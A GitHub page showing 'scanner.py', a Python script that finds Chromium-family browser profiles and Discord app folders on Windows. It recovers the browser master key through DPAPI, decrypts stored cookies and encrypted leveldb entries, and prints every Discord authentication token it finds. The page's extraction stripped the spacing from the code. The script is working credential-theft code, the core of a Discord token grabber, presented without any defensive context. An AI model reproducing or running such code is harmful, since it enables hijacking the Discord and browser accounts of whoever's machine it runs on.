Uh oh!
There was an error while loading. Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscanner.py
More file actions
Latest commit
201 lines (172 loc) · 6.47 KB
/
Copy pathscanner.py
File metadata and controls
201 lines (172 loc) · 6.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
importos
importre
importjson
importshutil
importsqlite3
importbase64
importtempfile
try:
importwin32crypt
HAS_WIN32=True
exceptImportError:
HAS_WIN32=False
try:
fromCrypto.CipherimportAES
HAS_CRYPTO=True
exceptImportError:
HAS_CRYPTO=False
TOKEN_REGEX=re.compile(r"[\w-]{24,35}\.[\w-]{6}\.[\w-]{25,110}")
TOKEN_REGEX_ALT=re.compile(r"mfa\.[\w-]{84}")
LOCAL=os.getenv("LOCALAPPDATA", "")
ROAMING=os.getenv("APPDATA", "")
CHROMIUM_PATHS= {
"Chrome": os.path.join(LOCAL, "Google", "Chrome", "User Data"),
"Brave": os.path.join(LOCAL, "BraveSoftware", "Brave-Browser", "User Data"),
"Edge": os.path.join(LOCAL, "Microsoft", "Edge", "User Data"),
"Opera": os.path.join(ROAMING, "Opera Software", "Opera Stable"),
"Opera GX": os.path.join(ROAMING, "Opera Software", "Opera GX Stable"),
"Vivaldi": os.path.join(LOCAL, "Vivaldi", "User Data"),
"Yandex": os.path.join(LOCAL, "Yandex", "YandexBrowser", "User Data"),
"Chromium": os.path.join(LOCAL, "Chromium", "User Data"),
}
DISCORD_PATHS= {
"Discord": os.path.join(ROAMING, "discord"),
"Discord PTB": os.path.join(ROAMING, "discordptb"),
"Discord Canary": os.path.join(ROAMING, "discordcanary"),
"Discord Dev": os.path.join(ROAMING, "discorddevelopment"),
}
defget_master_key(folder):
path=os.path.join(folder, "Local State")
ifnotos.path.exists(path):
returnNone
try:
withopen(path, "r", encoding="utf-8") asf:
data=json.load(f)
key=base64.b64decode(data["os_crypt"]["encrypted_key"])[5:]
ifHAS_WIN32:
returnwin32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
exceptException:
pass
returnNone
defdecrypt_value(encrypted, master_key):
try:
ifencrypted[:3] ==b"v10"andmaster_keyandHAS_CRYPTO:
iv=encrypted[3:15]
payload=encrypted[15:-16]
tag=encrypted[-16:]
cipher=AES.new(master_key, AES.MODE_GCM, nonce=iv)
returncipher.decrypt_and_verify(payload, tag).decode("utf-8")
ifHAS_WIN32:
returnwin32crypt.CryptUnprotectData(encrypted, None, None, None, 0)[1].decode("utf-8")
exceptException:
pass
returnNone
defvalid_token(token):
ifTOKEN_REGEX_ALT.match(token):
returnTrue
parts=token.split(".")
returnlen(parts) ==3andlen(token) >=50
defscan_leveldb(path):
found= []
ifnotos.path.isdir(path):
returnfound
forfnameinos.listdir(path):
ifnotfname.endswith((".ldb", ".log")):
continue
try:
withopen(os.path.join(path, fname), "rb") asf:
text=f.read().decode("utf-8", errors="ignore")
found.extend(TOKEN_REGEX.findall(text))
found.extend(TOKEN_REGEX_ALT.findall(text))
exceptException:
pass
returnfound
defscan_profile(profile_path, master_key):
tokens= []
tokens.extend(scan_leveldb(os.path.join(profile_path, "Local Storage", "leveldb")))
cookies_db=os.path.join(profile_path, "Network", "Cookies")
ifnotos.path.exists(cookies_db):
cookies_db=os.path.join(profile_path, "Cookies")
ifos.path.exists(cookies_db):
try:
tmp=tempfile.mktemp(suffix=".db")
shutil.copy2(cookies_db, tmp)
conn=sqlite3.connect(tmp)
cur=conn.cursor()
cur.execute(
"SELECT encrypted_value FROM cookies WHERE host_key LIKE '%discord%'"
)
for (encrypted,) incur.fetchall():
ifencrypted:
dec=decrypt_value(encrypted, master_key)
ifdec:
tokens.extend(TOKEN_REGEX.findall(dec))
conn.close()
os.remove(tmp)
exceptException:
pass
returntokens
defscan_browsers():
results= []
forname, user_datainCHROMIUM_PATHS.items():
ifnotos.path.isdir(user_data):
continue
master_key=get_master_key(user_data)
profiles= ["Default"] + [
dfordinos.listdir(user_data)
ifd.startswith("Profile ") andos.path.isdir(os.path.join(user_data, d))
]
forprofileinprofiles:
profile_path=os.path.join(user_data, profile)
ifnotos.path.isdir(profile_path):
continue
fortokeninset(scan_profile(profile_path, master_key)):
ifvalid_token(token):
results.append({"token": token, "source": name, "profile": profile})
returnresults
defscan_discord():
results= []
forname, discord_dirinDISCORD_PATHS.items():
leveldb=os.path.join(discord_dir, "Local Storage", "leveldb")
ifnotos.path.isdir(leveldb):
continue
master_key=get_master_key(discord_dir)
fortokeninset(scan_leveldb(leveldb)):
ifvalid_token(token):
results.append({"token": token, "source": name, "profile": "App"})
ifmaster_keyandHAS_CRYPTO:
try:
forfnameinos.listdir(leveldb):
ifnotfname.endswith((".ldb", ".log")):
continue
withopen(os.path.join(leveldb, fname), "r", errors="ignore") asf:
forlineinf:
formatchinre.findall(r"dQw4w9WgXcQ:[^\"]*", line):
try:
enc=base64.b64decode(match.split("dQw4w9WgXcQ:")[1])
dec=decrypt_value(enc, master_key)
ifdecandvalid_token(dec):
results.append({"token": dec, "source": name, "profile": "App"})
exceptException:
pass
exceptException:
pass
returnresults
defscan_all():
seen=set()
out= []
foriteminscan_browsers() +scan_discord():
ifitem["token"] notinseen:
seen.add(item["token"])
out.append(item)
returnout
if__name__=="__main__":
print("Scan en cours...\n")
tokens=scan_all()
ifnottokens:
print("Aucun token trouvé.")
else:
fori, tinenumerate(tokens, 1):
print(f"--- [{i}] {t['source']} ({t['profile']}) ---")
print(t["token"])
print()